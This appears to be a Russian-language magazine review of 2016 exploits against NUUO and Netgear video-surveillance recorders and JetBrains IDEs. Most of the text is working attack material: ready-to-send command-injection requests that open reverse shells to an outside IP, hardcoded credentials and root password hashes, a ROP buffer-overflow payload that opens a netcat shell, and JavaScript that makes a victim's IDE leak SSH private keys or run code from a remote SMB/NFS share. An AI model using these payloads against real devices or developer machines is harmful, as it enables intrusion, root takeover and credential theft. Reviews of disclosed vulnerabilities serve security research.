В сегодняшнем обзоре мы пройдемся по многочисленным уязвимостям в продуктах компании NUUO, которая занимается разработкой систем для камер наблюдения. Помимо этого, разберем несколько уязвимостей, которым были подвержены популярные среды разработки компании JetBrains (PyCharm, IntelliJ IDEA, WebStorm и другие): удаленное выполнение кода и раскрытие файлов.

 

Многочисленные уязвимости в NUUO NVRmini 2 / NVRsolo / Crystal devices и Netgear ReadyNAS Surveillance

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 4 августа 2016 года
Автор: Педру Рибейру (Pedro Ribeiro), Agile Information Security
CVE: CVE-2016-5674, CVE-2016-5675, CVE-2016-5676, CVE-2016-5677, CVE-2016-5678, CVE-2016-5679

NUUO — разработчик систем Network Video Recording (NVR) для камер наблюдения. NVR — это встраиваемые системы на Linux для управления камерами, они широко используются по всему миру — в госучреждениях, институтах, банках, малых и средних предприятиях. Помимо прочего, в этих системах есть пакет ПО Netgear, которое дает возможность записывать видео и вести мониторинг по сети при помощи хорошо известных систем хранения данных Netgear ReadyNAS.

Веб-интерфейс такой системы содержит ряд критических уязвимостей, которые могут быть проэксплуатированы неавторизованным атакующим. Эти уязвимости состоят из оставленных разработчиками бэкдоров-мониторов, предположительно для использования инженерами NUUO. Проблемой стали захардкоженные данные для авторизации, недостаточная проверка вводимых данных и переполнение буфера, которое позволяет выполнить произвольный код от имени root (в устройствах NUUO) и admin (для Netgear).

Автором эксплоита были протестированы устройства NVRmini 2, NVRsolo, Crystal и ReadyNAS Surveillance, но остальные продукты NUUO и другие сторонние устройства (к примеру, NUUO Titan) тоже могут быть уязвимы.

 

EXPLOIT

Уязвимость 1. Неправильная проверка вводимых данных приводит к удаленному выполнению кода

Веб-интерфейс содержит скрытый файл с именем __debugging_center_utils___.php, который неправильно проверяет параметр log и передает его значение в функцию system().

<?php
function print_file($file_fullpath_name)
{
  $cmd = "cat " . $file_fullpath_name;
  echo $file_fullpath_name . "\n\n";
  system($cmd);
}

if (isset($_GET['log']) && !empty($_GET['log']))
{
    $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']);
    print_file($file_fullpath_name);
}
else
{
    die("unknown command.");
}

Доступ к этому файлу может получить любой неавторизованный пользователь. В итоге мы можем сделать следующее:

ReadyNAS Surveillance. Пример открытия бэк-шелла на адрес 192.168.1.204:9000 с правами admin:

GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b'

NVRmini 2 и NVRsolo. Пример открытия двух шеллов на адрес 192.168.1.204, один на 9999-м порту, а другой — на 9998-м. Выполнение команд идет на 9999-м порту, а вывод получает 9998-й порт. Команды выполняются с правами root:

GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998

Уязвимость 2. Неправильная проверка вводимых данных приводит к удаленному выполнению кода

Скрипт handle_daylightsaving.php недостаточно надежно проверяет параметр NTPServer и передает его значение в функцию system().

else if ($act == 'update')
{
  $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);

  $find_str = "time server";

  $sys_msg = system($cmd);
  $pos = strpos($sys_msg, $find_str);

Для доступа к этому файлу уже нужна учетная запись авторизованного пользователя с правами администратора.

ReadyNAS Surveillance. Создаем файл /tmp/test с выводом команды whoami:

GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test

NVRmini 2 и NVRsolo. Открываем шелл с правами root:

GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f

Crystal. Можем открыть шелл с правами root:

GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26

Уязвимость 3. Сброс пароля администратора

В старых версиях прошивок и приложения ReadyNAS Surveillance неавторизованные пользователи могли обратиться к файлу cgi_system из веб-интерфейса. Этот файл позволяет выполнять несколько интересных системных команд, таких как загрузка настроек по умолчанию. Это позволяет сбросить пароль администратора. Похоже, что версии 2.2.1 и 3.0.0 прошивок NVRmini 2 и NVRsolo уже не уязвимы, хотя ReadyNAS Surveillance по-прежнему содержит уязвимость:

GET /cgi-bin/cgi_system?cmd=loaddefconfig

Уязвимость 4. Раскрытие информации

В веб-интерфейсе есть скрытый файл __nvr_status___.php с захардкоженными логином и паролем, которые позволяют просмотреть список текущих процессов, информацию о доступной памяти и статус файловой системы. Эта информация может быть получена неавторизованным пользователем с помощью следующего запроса:

POST /__nvr_status___.php HTTP/1.1
username=nuuoeng&password=qwe23622260&submit=Submit

Уязвимость 5. Захардкоженный пароль администратора

NVRmini 2 и NVRsolo содержат два захардкоженных пароля для пользователя root (один закомментирован). У авторов эксплоита не получилось их подобрать, но они есть во всех устройствах NVRmini 2 и NVRsolo.

NVRmini 2

#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::

NVRsolo

#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::

Уязвимость 6. Инъекция команд в transfer_license

У этой уязвимости есть ограничение: для удаленной атаки требуется аккаунт администратора, а для локальной — права авторизованного пользователя.

В команду transfer_license можно внедрить свою команду через параметр sn:

cgi_main?cmd=transfer_license&method=offline&sn=";<command>;#

Эти данные будут переданы напрямую в C-функцию system() в исполняемом файле cgi_main (дальше мы подробнее рассмотрим этот фрагмент кода).

NVRmini 2. Можно открыть шелл на порту 4444:

GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23

В Netgear Surveillance нет netcat, но можно получить OpenSSL реверс-шелл по адресу 192.168.133.204:4444:

GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23

Эту уязвимость может использовать любой авторизованный пользователь для повышения своих прав до root или admin с помощью следующей команды:

CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'

Исполняемый файл cgi_main находится в /apps/surveillance/bin/cgi_main на устройстве ReadyNAS. В NVRmini 2 это /NUUO/bin/cgi_main.

Уязвимость 7. Переполнение буфера в команде transfer_license

Здесь те же ограничения, что и у предыдущей уязвимости. Для удаленной атаки нужен аккаунт администратора, для локальной — авторизованного пользователя.

Параметр sn из метода transfer_license подвержен не только уязвимости типа инъекции команд, но и переполнению буфера.

Функция 0x20BC9C (NVRmini 2 firmware v3.0.0):

method = getval("method");
sn = getval("sn");
(...)
memset(&command, 0, 128);
sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn);
system(&command);

Как видишь, значение этого параметра копируется напрямую в строку с фиксированной длиной из 128 символов.

Выполняем следующий запрос:

GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaa...aaaaaaaaaa

И получаем падение со следующей информацией:

Core was generated by `/NUUO/bin/cgi_main'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x61616160 in ?? ()
(gdb) i r
r0             0x0    0
r1             0x0    0
r2             0x407aa4d0    1081779408
r3             0x407aa9e0    1081780704
r4             0x61616161    1633771873
r5             0x61616161    1633771873
r6             0x61616161    1633771873
r7             0x61616161    1633771873
r8             0x331fc8    3350472
r9             0x1    1
r10            0x33db54    3398484
r11            0x0    0
r12            0x1    1
sp             0xbedce528    0xbedce528
lr             0x61616161    1633771873
pc             0x61616160    0x61616160
cpsr           0x60000030    1610612784
(gdb)

Отправлять запрос можно при помощи как GET, так и POST.

По значениям регистров уже видно, что мы можем контролировать часть из них.

В таблице ниже приведена информация о наличии техник по противостоянию эксплоитам в прошивках разных устройств:

Еще одно ограничение — не должно быть нулевых байтов.

Ниже представлен пример эксплоита для NVRmini 2 (версия прошивки 3.0.0), который открывает шелл на порту 4444, используя несколько гаджетов ROP для обхода NX. Эти гаджеты взяты из libc-2.15.so, которая в прошивки версии 3.0.0 всегда грузится по адресу 4066c000:

0x00018ba0 : pop {r3, lr} ; bx lr -> находится в 40684BA0 (первый гаджет, устанавливает r3 для следующего гаджета)
0x000f17cc : mov r0, sp ; blx r3 -> находится в 4075D7CC (второй гаджет, устанавливает аргументы для system)
0x00039ffc : system() -> находится по адресу 406A5FFC (берет значения из r0, указывающие на sp, и выполняет их)
Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")

Пример запроса:

sn=aaaaaaaaaaaaaaaaaaa...aaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26

Остальные прошивки будут иметь другие гаджеты.

Локально эту уязвимость можно использовать так:

CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'

Оригинальный технический отчет с более подробной информацией об уязвимости типа «переполнение буфера» приведен в блоге автора.

 

TARGETS

  • NUUO NVRmini 2, прошивки от 1.7.5 до 3.0.0 (старые версии прошивок тоже могут быть уязвимы);
  • NUUO NVRsolo, прошивки версий 1.0.0—3.0.0;
  • ReadyNAS Surveillance, прошивки 1.1.1—1.4.1 (уязвимы и x86-, и ARM-версии, старые версии прошивок тоже могут быть уязвимы);
  • остальные продукты NUUO, которые используют такой же веб-интерфейс, тоже могут быть уязвимы.
 

SOLUTION

Об исправлениях на момент написания статьи не было известно. Разработчики так и не ответили исследователям в течение примерно полугода.

 

Удаленное выполнение кода и раскрытие файлов в JetBrains IDE

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 15 августа 2016 года
Автор: Джордан Милн (Jordan Milne)
CVE: нет

С 2013 года по май 2016-го в средах разработки компании JetBrains существовала уязвимость типа «раскрытие локальных файлов», а в версиях для Windows и OS X было возможно еще и удаленное выполнение кода. Уязвимости подвержены PyCharm, Android Studio, WebStorm, IntelliJ IDEA и еще несколько продуктов. Единственным условием для атаки было посещение жертвой веб-страницы, которую контролирует атакующий, при открытой уязвимой IDE.

Источник проблем — веб-сервер WebStorm, который с 2013 года стал поставляться вместе с IDE JetBrains. Атаки оказались возможными из-за того, что он был все время активен, а cross-origin resource sharing допускал любые источники.

Выполнение произвольного кода на Windows и OS X стало возможным для всех IDE начиная с версий, вышедших 13 июля 2015 года. Но есть вероятность, что уязвимые IDE встречались и раньше.

Изначально автор эксплоита Джордан Милн исследовал межпротокольные коммуникации в поисках интересных целей. Он начал с изучения сервисов, которые были запущены на его собственной машине. Запустив lsof -P -ITCP | grep LISTEN, он увидел список программ, которые слушают локальные TCP-порты.

$ lsof -P -iTCP | grep LISTEN
# ...
pycharm   4177 user  289u  IPv4 0x81a02fb90b4eef47      0t0  TCP localhost:63342 (LISTEN)

В качестве основной IDE Милн использовал PyCharm, но никогда не знал, что эта программа биндит порт. Чтобы узнать подробности, исследователь натравил на этот порт Nmap:

$ nmap -A -p 63342 127.0.0.1
# [...]
PORT      STATE SERVICE VERSION
63342/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port63342-TCP:V=6.46%I=7%D=8/2%Time=57A0DD64%P=x86_64-apple-darwin13.1.
SF:0%r(GetRequest,173,"HTTP/1\.1\x20404\x20Not\x20Found\r\ncontent-type:\x
# [...]

На вид — обычный сервер HTTP. Для локального приложения это странно. Смотрим заголовки CORS.

$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/"
> GET / HTTP/1.1
> Host: 127.0.0.1:63342
> User-Agent: curl/7.43.0
> Accept: */*
> Origin: http://attacker.com/
>
< HTTP/1.1 404 Not Found
[...]
< access-control-allow-origin: http://attacker.com/
< vary: origin
< access-control-allow-credentials: true
< access-control-allow-headers: authorization
< access-control-allow-headers: origin
< access-control-allow-headers: content-type
< access-control-allow-headers: accept
<
* Connection #0 to host 127.0.0.1 left intact
<!doctype html><title>404 Not Found</title><h1 style="text-align: center">404 Not Found</h1><hr/><p style="text-align: center">PyCharm 5.0.4</p>

Получается, что в HTTP-сервере PyCharm любым веб-страницам (например, http://attacker.com) разрешается отправлять авторизованные запросы и читать ответ.

Поискав в интернете материалы, которые бы объяснили предназначение этого порта, Милн узнал, что в начале 2013 года в IDE добавили сервер WebStorm. Идея была в том, чтобы не поднимать свой веб-сервер для просмотра результатов разработки в браузере. Стало достаточно кликнуть на кнопку View in browser внутри WebStorm, чтобы она открыла браузер по адресу http://localhost:63342/<projectname>/<your_file.html>. Остальные скрипты на странице подключаются по тому же адресу. К примеру, http://localhost:63342/<projectname>/some_script.js.

Осталось проверить, что в PyCharm встроен тот же сервер, что и в WebStorm. Для этого Милн в PyCharm создал проект testing, поместил файл something.txt в его корневую директорию и попробовал скачать его из командной строки.

$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/testing/something.txt"
> GET /testing/something.txt HTTP/1.1
> Host: 127.0.0.1:63342
> User-Agent: curl/7.43.0
> Accept: */*
> Origin: http://attacker.com/
>
< HTTP/1.1 200 OK
[...]
< access-control-allow-origin: http://attacker.com/
[...]
these are the file contents!

Выходит, что любой сайт может читать любые файлы проекта, если знает нужное имя проекта и имя файла. Очевидно, что многие проекты включают конфигурационные файлы с важными данными (например, с ключами от AWS). Ниже представлен фрагмент JavaScript из страницы на attacker.com. Он, по сути, делает примерно то же, что и curl в примере выше.

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:63342/testing/something.txt", true);
xhr.onload = function() {alert(xhr.responseText)};
xhr.send();
</script>

Получить доступ к интересным файлам уже неплохо, но этот эксплоит можно развить до более боевого.

 

EXPLOIT

Посмотрим, нельзя ли читать файлы вне директории проекта. К примеру, атакующему могут быть интересны ключи SSH и подобные вещи — они обычно находятся в стандартных местах. Но для начала попробуем подняться на несколько каталогов выше.

$ curl -v "http://localhost:63342/testing/../../../.ssh/id_rsa"
* Rebuilt URL to: http://localhost:63342/.ssh/id_rsa

По спецификации фрагменты с точками должны быть нормализованы на клиенте или на сервере, то есть вместо /../ должно быть %2F..%2F. Но нам повезло: PyCharm правильно понимает URL-кодированные символы и приводит их к изначальному виду.

$ curl -v "http://localhost:63342/testing/..%2f..%2f.ssh/id_rsa"
> GET /testing/..%2f..%2f.ssh/id_rsa HTTP/1.1
[...]
>
< HTTP/1.1 200 OK
< content-type: application/octet-stream
< server: PyCharm 5.0.4
[...]
<
ssh-rsa AAAAB3NzaC[...]

Успех! Единственное ограничение — мы должны знать, как называется проект жертвы, так как, если обратиться по неправильному адресу (/invalidproject/<anything>), веб-сервер всегда будет возвращать ошибку 404.

Если название неизвестно, то можно попробовать использовать словарь с часто встречающимися названиями и запрашивать файл с метаданными workspace.xml, который JetBrains автоматически добавляет в большинство проектов.

$ curl --head "http://localhost:63342/testing/.idea/workspace.xml"
HTTP/1.1 200 OK
$ curl --head "http://localhost:63342/somethingelse/.idea/workspace.xml"
HTTP/1.1 404 Not Found

Получив ответ 200, мы убеждаемся, что проект существует.

Финальный эксплоит выглядит следующим образом:

function findLoadedProject(cb) {
  var xhr = new XMLHttpRequest();
  // Проверяем наличие директорий
  var possibleProjectNames = ["foobar", "testing", "bazquux"];
  var tryNextProject = function() {
    if (!possibleProjectNames.length) {
      cb(null);
      return;
    }
    var projectName = possibleProjectNames.pop();
    xhr.open("GET", "http://localhost:63342/" + projectName + "/.idea/workspace.xml", true);
    xhr.onload = function() {
      if(xhr.status === 200) {
        cb(projectName);
      } else {
        tryNextProject();
      }
    };
    xhr.send();
  };
}

var findSSHKeys = function(projectName) {
  var xhr = new XMLHttpRequest();
  var depth = 0;
  var tryNextDepth = function() {
    // Увы, директория для SSH-ключей не найдена
    if(++depth > 15) {
      return;
    }
    // Есть шанс, что и `.ssh`, и директория проекта находятся в домашней папке пользователя Chances
    // Пытаемся пройтись по дереву
    dotSegs = "..%2f".repeat(depth);
    xhr.open("GET", "http://localhost:63342/" + projectName + "/" + dotSegs + ".ssh/id_rsa.pub", true);
    xhr.onload = function() {
      if (xhr.status === 200) {
        console.log(xhr.responseText);
      } else {
        tryNextDepth();
      }
    };
    xhr.send();
  }
};

findLoadedProject(function(projectName) {
  if(projectName) {
    console.log(projectName, "is a valid project, looking for SSH key");
    findSSHKeys(projectName);
  } else {
    console.log("Failed to guess a project name");
  }
});

У этого способа нет ограничений, и автор эксплоита с его помощью перебирал по 2000 названий проектов в секунду.

Обходимся без перебора названия проекта

Чтобы не перебирать названия, Милн стал искать доступные API, которые предоставляет веб-сервер PyCharm. И в итоге нашел точку входа вида /api/internal, которая соответствует JetBrainsProtocolHandlerHttpService. Она позволяет передавать данные в JSON, содержащие URL со схемой jetbrains:. Затем IDE что-то с ними делает. Автор эксплоита пишет, что не смог найти документации по этим URL, так что пришлось изучать самостоятельно.

Многообещающе, в частности, выглядит обработчик jetbrains://<project_name>/open/<path>.

public class JBProtocolOpenProjectCommand extends JBProtocolCommand {
  public JBProtocolOpenProjectCommand() {
    super("open");
  }

  @Override
  public void perform(String target, Map<String, String> parameters) {
    String path = URLDecoder.decode(target);
    path = StringUtil.trimStart(path, LocalFileSystem.PROTOCOL_PREFIX);
    ProjectUtil.openProject(path, null, true);
  }
}

Этот код позволяет открыть проект по абсолютному пути. К примеру, директория /etc есть в большинстве *nix-подобных систем. Попытаемся открыть ее:

$ curl "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//etc"}'

И получаем ошибку.

Ошибка при открытии директории /etc
Ошибка при открытии директории /etc

Открыть можно только директорию со структурой проекта JetBrains. К счастью, PyCharm 2016.1 и выше идет с такой структурой, причем в системном каталоге. В OS X это выглядит следующим образом: /Applications/PyCharm.app/Contents/helpers. Попробуем открыть:

$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//Applications/PyCharm.app/Contents/helpers"}'
Открытие директории helpers
Открытие директории helpers

Получилось! Теперь нам даже не требуется искать точное имя проекта, так как мы знаем проект, который всегда есть. В Linux стандартной директории для PyCharm может не быть, так как многие скачивают дистрибутив в виде архива tar и распаковывают куда бог на душу положит. Однако путь можно определить, выполнив запрос /api/about?more=true и найдя ключ homePath.

{
  "name": "PyCharm 2016.1.2",
  "productName": "PyCharm",
  "baselineVersion": 145,
  "buildNumber": 844,
  "vendor": "JetBrains s.r.o.",
  "isEAP": false,
  "productCode": "PY",
  "buildDate": 1460098800000,
  "isSnapshot": false,
  "configPath": "/home/user/.PyCharm2016.1/config",
  "systemPath": "/home/user/.PyCharm2016.1/system",
  "binPath": "/home/user/opt/pycharm/bin",
  "logPath": "/home/user/.PyCharm2016.1/system/log",
  "homePath": "/home/user/opt/pycharm"
}

Теперь у нас есть открытый проект helpers, мы определили домашнюю директорию с помощью ответа от /api/about?more=true и можем составить запрос для получения пользовательских ключей SSH. Путь будет примерно следующим: /helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/<user>/.ssh/id_rsa.

$ curl -v "http://localhost:63342/helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa"
> GET /helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa HTTP/1.1
[...]
>
< HTTP/1.1 200 OK
< content-type: application/octet-stream
< server: PyCharm 5.0.4
[...]
<
ssh-rsa AAAAB3NzaC[...]

Эксплуатация в Windows

Трюк с helpers, описанный выше, работает, только если у пользователя есть PyCharm 2016.1. Но как быть с другими IDE? Вернемся к обработчику jetbrains://project/open и проверим, какие еще пути он может открывать. Выбор Милна пал на пути UNC. Это специальные пути Windows, которые позволяют указать на файлы, доступные по сети по адресам вида \\servername\sharename\filepath. Множество Windows API для работы с файлами (и Java API, которые выступают обертками к ним) понимают такие пути и могут получать доступ к ресурсам, расшаренным на других машинах по SMB. В результате читать и записывать такие файлы можно точно так же, как и на локальной машине. Если мы сможем заставить IDE открыть проект из нашей шары, то нам не придется гадать, как называется проект на машине жертвы.

В качестве теста автор поднял шару Samba с именем anontesting без авторизации, которая содержала проект JetBrains, а затем попытался открыть ее:

$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open/\\\\smb.example.com\\anonshare\\testing"}'

Провайдер со стороны атакуемой машины не заблокировал исходящий трафик. Это позволяет загрузить произвольный проект с подконтрольного нам удаленного ресурса. Однако такое поведение позволяет не только читать произвольные файлы в системе.

Каждый проект в JetBrains IDE имеет возможность установить задачи после запуска. К примеру, в PyCharm это Python-скрипт, а в Android Studio и IntelliJ IDEA — файл jar. Они будут автоматически срабатывать после загрузки проекта. Добавим в корневой каталог «атакующего» проекта скрипт hax.py.

Установка скрипта hax.py, который стартует после загрузки проекта в PyCharm
Установка скрипта hax.py, который стартует после загрузки проекта в PyCharm
Настройки скрипта hax.py
Настройки скрипта hax.py

Скрипт будет содержать всего две строчки :).

import os
os.system("calc.exe")

Загрузим проект на наш сервер с Samba и сделаем страницу со следующим содержимым:

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:63342/api/internal", true);
xhr.send('{"url": "jetbrains://whatever/open/\\\\\\\\123.456.789.101\\\\anonshare\\\\testing"}');
</script>

После того как жертва зайдет на наш сайт, у нее появится...

Успешное срабатывание эксплоита для JetBrains IDE в ОС Windows
Успешное срабатывание эксплоита для JetBrains IDE в ОС Windows

Тот же трюк в OS X

OS X автоматически монтирует удаленные файловые системы NFS, когда обращаешься к ним через /net. Это значит, что мы можем применить механизм, похожий на тот, что использовали в Windows. Создаем анонимный сервер NFS, кладем туда проект и открываем /net/<hostname>/<sharename>/<projectname>. Проверяем:

$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}'

Вот готовый скрипт для страницы:

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:63342/api/internal", true);
xhr.send('{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}');
</script>
Успешное срабатывание эксплоита для JetBrains IDE в OS X
Успешное срабатывание эксплоита для JetBrains IDE в OS X

Я опустил подробности общения с разработчиком по поводу устранения уязвимости, но ты можешь прочитать их в оригинальной статье в блоге Милна.

 

TARGETS

Среды, основанные на JetBrains версий с начала 2013 года по май 2016 года (PyCharm, Android Studio, WebStorm, IntelliJ IDEA и другие).

 

SOLUTION

Есть исправление от производителя за 11 мая 2016 года.

1 комментарий

  1. Аватар

    WellFedCat

    09.05.2017 в 12:25

Оставить мнение